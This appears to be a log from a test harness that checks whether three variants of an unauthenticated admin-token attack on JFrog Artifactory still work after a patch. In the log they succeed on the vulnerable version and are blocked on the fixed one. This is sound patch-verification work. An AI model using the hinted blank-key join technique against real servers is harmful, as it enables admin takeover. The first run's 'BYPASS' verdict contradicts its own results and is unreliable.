[variant 07:48:42] pulling images (may already be cached) [variant 07:48:46] waiting for postgres [variant 07:48:48] postgres ready [variant 07:48:48] started art-var-vuln (releases-docker.jfrog.io/jfrog/artifactory-jcr:7.146.25) on port 8084, waiting for readiness [variant 07:50:29] art-var-vuln ready after ~110s [variant 07:50:29] === variant tests against VULNERABLE releases-docker.jfrog.io/jfrog/artifactory-jcr:7.146.25 (zero credentials) === [control_anon_token_mint_must_401] HTTP 401 [variant_router_join_blank_key] HTTP 200 service admin token: sub=jfrt@cve202682329var1788249029 scp=admin [access_list_users] HTTP 200 [mint_admin_user_token] HTTP 200 [artifactory_system_info_admin_only] HTTP 200 mode=router exploited=True (users=True sysinfo=True) [variant 07:50:29] [vuln] variant router rc=0 (0=admin takeover via this entry point) [control_anon_token_mint_must_401] HTTP 401 [variant_router_join_blank_key] HTTP 200 service admin token: sub=jfrt@cve202682329var1788249029 scp=admin [access_list_users] HTTP 200 [mint_admin_user_token] HTTP 200 [artifactory_system_info_admin_only] HTTP 200 mode=router-override exploited=True (users=True sysinfo=True) [variant 07:50:29] [vuln] variant router-override rc=0 (0=admin takeover via this entry point) [control_anon_token_mint_must_401] HTTP 401 [variant_join_explicit_blank_kid] HTTP 201 service admin token: sub=jfrt@cve202682329var1788249029 scp=admin [access_list_users] HTTP 200 [mint_admin_user_token] HTTP 200 [artifactory_system_info_admin_only] HTTP 200 mode=join-kid exploited=True (users=True sysinfo=True) [variant 07:50:30] [vuln] variant join-kid rc=0 (0=admin takeover via this entry point) [variant 07:50:30] started art-var-fixed (releases-docker.jfrog.io/jfrog/artifactory-jcr:7.146.38) on port 8085, waiting for readiness [variant 07:52:00] art-var-fixed ready after ~100s [variant 07:52:00] === identical variant tests against FIXED releases-docker.jfrog.io/jfrog/artifactory-jcr:7.146.38 (bypass test) === [control_anon_token_mint_must_401] HTTP 401 [variant_router_join_blank_key] HTTP 400 [variant 07:52:00] [fixed] variant router rc=1 (0=admin takeover via this entry point) [control_anon_token_mint_must_401] HTTP 401 [variant_router_join_blank_key] HTTP 400 [variant 07:52:00] [fixed] variant router-override rc=1 (0=admin takeover via this entry point) [control_anon_token_mint_must_401] HTTP 401 [variant_join_explicit_blank_kid] HTTP 400 [variant 07:52:01] [fixed] variant join-kid rc=1 (0=admin takeover via this entry point) [variant 07:52:01] vuln results: [control_anon_token_mint_must_401] HTTP 401 [variant_router_join_blank_key] HTTP 200 service admin token: sub=jfrt@cve202682329var1788249029 scp=admin [access_list_users] HTTP 200 [mint_admin_user_token] HTTP 200 [artifactory_system_info_admin_only] HTTP 200 mode=router exploited=True (users=True sysinfo=True) [variant 07:50:29] [vuln] variant router rc=0 (0=admin takeover via this entry point) [control_anon_token_mint_must_401] HTTP 401 [variant_router_join_blank_key] HTTP 200 service admin token: sub=jfrt@cve202682329var1788249029 scp=admin [access_list_users] HTTP 200 [mint_admin_user_token] HTTP 200 [artifactory_system_info_admin_only] HTTP 200 mode=router-override exploited=True (users=True sysinfo=True) [variant 07:50:29] [vuln] variant router-override rc=0 (0=admin takeover via this entry point) [control_anon_token_mint_must_401] HTTP 401 [variant_join_explicit_blank_kid] HTTP 201 service admin token: sub=jfrt@cve202682329var1788249029 scp=admin [access_list_users] HTTP 200 [mint_admin_user_token] HTTP 200 [artifactory_system_info_admin_only] HTTP 200 mode=join-kid exploited=True (users=True sysinfo=True) [variant 07:50:30] [vuln] variant join-kid rc=0 (0=admin takeover via this entry point) router:0 router-override:0 join-kid:0 [variant 07:52:01] fixed results: [control_anon_token_mint_must_401] HTTP 401 [variant_router_join_blank_key] HTTP 400 [variant 07:52:00] [fixed] variant router rc=1 (0=admin takeover via this entry point) [control_anon_token_mint_must_401] HTTP 401 [variant_router_join_blank_key] HTTP 400 [variant 07:52:00] [fixed] variant router-override rc=1 (0=admin takeover via this entry point) [control_anon_token_mint_must_401] HTTP 401 [variant_join_explicit_blank_kid] HTTP 400 [variant 07:52:01] [fixed] variant join-kid rc=1 (0=admin takeover via this entry point) router:1 router-override:1 join-kid:1 [variant 07:52:01] RESULT: BYPASS - at least one variant reproduces on the FIXED version [variant 07:52:26] pulling images (may already be cached) [variant 07:52:30] waiting for postgres [variant 07:52:32] postgres ready [variant 07:52:33] started art-var-vuln (releases-docker.jfrog.io/jfrog/artifactory-jcr:7.146.25) on port 8084, waiting for readiness [variant 07:54:03] art-var-vuln ready after ~100s [variant 07:54:03] === variant tests against VULNERABLE releases-docker.jfrog.io/jfrog/artifactory-jcr:7.146.25 (zero credentials) === [control_anon_token_mint_must_401] HTTP 401 [variant_router_join_blank_key] HTTP 200 service admin token: sub=jfrt@cve202682329var1788249243 scp=admin [access_list_users] HTTP 200 [mint_admin_user_token] HTTP 200 [artifactory_system_info_admin_only] HTTP 200 mode=router exploited=True (users=True sysinfo=True) [variant 07:54:03] [vuln] variant router rc=0 (0=admin takeover via this entry point) [control_anon_token_mint_must_401] HTTP 401 [variant_router_join_blank_key] HTTP 200 service admin token: sub=jfrt@cve202682329var1788249243 scp=admin [access_list_users] HTTP 200 [mint_admin_user_token] HTTP 200 [artifactory_system_info_admin_only] HTTP 200 mode=router-override exploited=True (users=True sysinfo=True) [variant 07:54:03] [vuln] variant router-override rc=0 (0=admin takeover via this entry point) [control_anon_token_mint_must_401] HTTP 401 [variant_join_explicit_blank_kid] HTTP 201 service admin token: sub=jfrt@cve202682329var1788249243 scp=admin [access_list_users] HTTP 200 [mint_admin_user_token] HTTP 200 [artifactory_system_info_admin_only] HTTP 200 mode=join-kid exploited=True (users=True sysinfo=True) [variant 07:54:04] [vuln] variant join-kid rc=0 (0=admin takeover via this entry point) [variant 07:54:04] started art-var-fixed (releases-docker.jfrog.io/jfrog/artifactory-jcr:7.146.38) on port 8085, waiting for readiness [variant 07:55:44] art-var-fixed ready after ~110s [variant 07:55:44] === identical variant tests against FIXED releases-docker.jfrog.io/jfrog/artifactory-jcr:7.146.38 (bypass test) === [control_anon_token_mint_must_401] HTTP 401 [variant_router_join_blank_key] HTTP 400 [variant 07:55:44] [fixed] variant router rc=1 (0=admin takeover via this entry point) [control_anon_token_mint_must_401] HTTP 401 [variant_router_join_blank_key] HTTP 400 [variant 07:55:44] [fixed] variant router-override rc=1 (0=admin takeover via this entry point) [control_anon_token_mint_must_401] HTTP 401 [variant_join_explicit_blank_kid] HTTP 400 [variant 07:55:44] [fixed] variant join-kid rc=1 (0=admin takeover via this entry point) [variant 07:55:44] vuln results: router:0 router-override:0 join-kid:0 [variant 07:55:44] fixed results: router:1 router-override:1 join-kid:1 [variant 07:55:44] RESULT: VARIANTS confirmed on vulnerable version only; fixed version blocks all tested entry points (no bypass) [variant 07:56:00] pulling images (may already be cached) [variant 07:56:03] waiting for postgres [variant 07:56:06] postgres ready [variant 07:56:06] started art-var-vuln (releases-docker.jfrog.io/jfrog/artifactory-jcr:7.146.25) on port 8084, waiting for readiness [variant 07:57:36] art-var-vuln ready after ~100s [variant 07:57:36] === variant tests against VULNERABLE releases-docker.jfrog.io/jfrog/artifactory-jcr:7.146.25 (zero credentials) === [control_anon_token_mint_must_401] HTTP 401 [variant_router_join_blank_key] HTTP 200 service admin token: sub=jfrt@cve202682329var1788249456 scp=admin [access_list_users] HTTP 200 [mint_admin_user_token] HTTP 200 [artifactory_system_info_admin_only] HTTP 200 mode=router exploited=True (users=True sysinfo=True) [variant 07:57:36] [vuln] variant router rc=0 (0=admin takeover via this entry point) [control_anon_token_mint_must_401] HTTP 401 [variant_router_join_blank_key] HTTP 200 service admin token: sub=jfrt@cve202682329var1788249457 scp=admin [access_list_users] HTTP 200 [mint_admin_user_token] HTTP 200 [artifactory_system_info_admin_only] HTTP 200 mode=router-override exploited=True (users=True sysinfo=True) [variant 07:57:37] [vuln] variant router-override rc=0 (0=admin takeover via this entry point) [control_anon_token_mint_must_401] HTTP 401 [variant_join_explicit_blank_kid] HTTP 201 service admin token: sub=jfrt@cve202682329var1788249457 scp=admin [access_list_users] HTTP 200 [mint_admin_user_token] HTTP 200 [artifactory_system_info_admin_only] HTTP 200 mode=join-kid exploited=True (users=True sysinfo=True) [variant 07:57:37] [vuln] variant join-kid rc=0 (0=admin takeover via this entry point) [variant 07:57:37] started art-var-fixed (releases-docker.jfrog.io/jfrog/artifactory-jcr:7.146.38) on port 8085, waiting for readiness [variant 07:59:17] art-var-fixed ready after ~110s [variant 07:59:17] === identical variant tests against FIXED releases-docker.jfrog.io/jfrog/artifactory-jcr:7.146.38 (bypass test) === [control_anon_token_mint_must_401] HTTP 401 [variant_router_join_blank_key] HTTP 400 [variant 07:59:17] [fixed] variant router rc=1 (0=admin takeover via this entry point) [control_anon_token_mint_must_401] HTTP 401 [variant_router_join_blank_key] HTTP 400 [variant 07:59:18] [fixed] variant router-override rc=1 (0=admin takeover via this entry point) [control_anon_token_mint_must_401] HTTP 401 [variant_join_explicit_blank_kid] HTTP 400 [variant 07:59:18] [fixed] variant join-kid rc=1 (0=admin takeover via this entry point) [variant 07:59:18] vuln results: router:0 router-override:0 join-kid:0 [variant 07:59:18] fixed results: router:1 router-override:1 join-kid:1 [variant 07:59:18] RESULT: VARIANTS confirmed on vulnerable version only; fixed version blocks all tested entry points (no bypass)